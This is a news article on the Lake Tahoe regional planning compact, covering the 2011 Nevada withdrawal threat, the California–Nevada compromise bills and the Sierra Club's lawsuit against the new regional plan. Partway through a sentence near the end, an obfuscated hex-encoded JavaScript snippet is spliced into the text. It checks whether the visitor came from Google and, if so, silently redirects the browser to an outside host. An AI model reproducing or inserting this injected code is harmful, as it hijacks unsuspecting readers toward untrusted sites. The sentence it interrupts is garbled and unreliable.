Looking out for Lake Tahoe: new accord stirs debate

In 2011, fueled by pro-development and business interests, the state of Nevada passed legislation intended aimed at ending what many saw as a blissful, decades-old union with California — the Tahoe Regional Planning Agency.

Nevada wanted to get out of the historic compact governing the protection of the majestic lake along the borders of both states.

But environmentalists were not quite ready to let go of such a crucial regulatory tool.

So Sen. Fran Pavley, D-Agoura Hills,  authored SB 630 in response, which established a California branch of the agency to continue its protection efforts from the west side of the lake in the event that the bi-state agency crumbled.


But after intense negotiations, leaders in California and Nevada reached a compromise to hold TRPA together. They agreed that TRPA should update its long-delayed regional plan — a modernization governing development that all parties agreed was necessary. The accord meant that Pavley’s contingency plan for California to go it alone wasn’t needed.

“We sat down, we did a lot of listening and talking,” said Todd Ferrara, deputy secretary of the California Natural Resources Agency. “It was a lot like couples therapy.”

But some critics see the new agreement as California capitulating to Nevada’s demands. The new plan deeply angered some environmentalists, who contend the new arrangement, among other things, gives too much authority to locals and detracts from TRPA’s traditional role. So TRPA faced another threat: a federal lawsuit from the Sierra Club that seeks to invalidate the new plan.

Pavley’s bill, meanwhile, was changed to serve alongside its Nevada counterpart, SB 229, to rewrite the compact to reflect the compromise reached by the two states. Her bill is on Gov. Brown’s desk.

“SB 630 is a compromise with Nevada that will preserve the Tahoe Compact and sets the stage for greater cooperation between the two states for working on our shared issues at Lake Tahoe,” Pavley wrote in an email. “The early signs are that it is already working and it has helped set the stage for much better working relationship and between California and Nevada that will result in joint projects to protect Lake Tahoe.”


The main provisions include requirements for TRPA to consider economic implications of the regional plan and a provision that places the burden of proof on the plaintiff in any lawsuit against TRPA.


The provision of the bill that pushes the burden of proof to plaintiffs against the agency would appear to be timely, given the Sierra Club lawsuit that TRPA is facing due to its new plan.


“[The compact] doesn’t say protect the economy above all,” said Laurel Ames of the Sierra Club. “It says protect the natural environment.”

Other environmentalists believe the preservation of the compact through that plan was crucial to the maintenance of those environmental protections. And TRPA agrees, according to Kristi Boosman, a public information officer for the agency, who says the plan will preserve TRPA’s efforts to maintain the lake and change little else.

“It’s not about creating new development,” Boosman said. “It’s about improving, upgrading, and making environmentally sound our current infrastructure, our buildings, our roadways.”

Boosman said that the economic provisions will have little effect on the agency’s commitment to environmental protections.


“If you read the compact there is already a major emphasis on harmonizing the built environment with the natural environment to the economy of the region,” she said. “The mention of the economy in the compact is there, this provision just strengthened it and made it much more explicit that the regional plan would consider economic conditions.”

According to Ferrara, the focus of the new agreeemnt is area plans. These define how local communities put into effect the larger, regional plan.


But the Sierra Club believes the compromise was unduly sensitive to business interests in response to Nevada’s threat to leave. That perspective is compounded by the fact that many assume that as the larger state California should hold more chips in the game. Two-thirds of Lake Tahoe, the largest alpine lake in North America, is in California.

“[State leaders] didn’t just blink, they rolled over,” Ames said. “They gave away everything.”

But some state leaders and other environmental advocates believe that allowing the compact to fall apart would have meant giving up even more environmental protections. The League to Save Lake Tahoe, one of the region’s oldest environmental groups, responded to the Sierra Club’s court challenge in a press release:


“While the plan is not perfect, it is a product of community collaboration and compromise, and is designed to be adaptive,” it said. “It also ensures that we continue protecting the regional environment through a federally approved bi-state compact that contains important environmental thresholds. Any litigation will likely result in the dissolution of this compact and no compact means no regional environmental standards for Lake Tahoe.”


The Sierra Club’s fundamental complaint is that the new regional plan is a violation of the 44-year-old compact itself for a number of reasons, including its failure to provide for environmental thresholds and its delegation of authority to local governments, said Trent Orr, the Earth var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]} Justice attorney representing the plaintiffs.

According to Orr, the case likely will be heard in February or March. He said the burden-of-proof provision of the new agreement probably will not affect the litigation, since the burden of proof typically already lies on the plaintiff.

If the Sierra Club’s case ultimately is successful, the regional plan will be ruled legally invalid and TRPA will either have to come up with a new one or stick with the outdated, 1987 plan that had Nevada heading for the hills. Orr said the hope from his clients is that a new regional plan might be created.

“We don’t disagree that the regional plan that was complete in the late 80s was out of date and needs to be updated,” he said.


But other interested parties worry that reverting to the old plan will tear apart the fragile threads that tied the agency back together after Nevada nearly left in 2011.

“It’s really important to understand the Sierra Club is really the main environmental constituency that is not in support of the plan,” said Julie Regan, TRPA’s chief of external affairs. “They’re representing a subset of the environmental community.”

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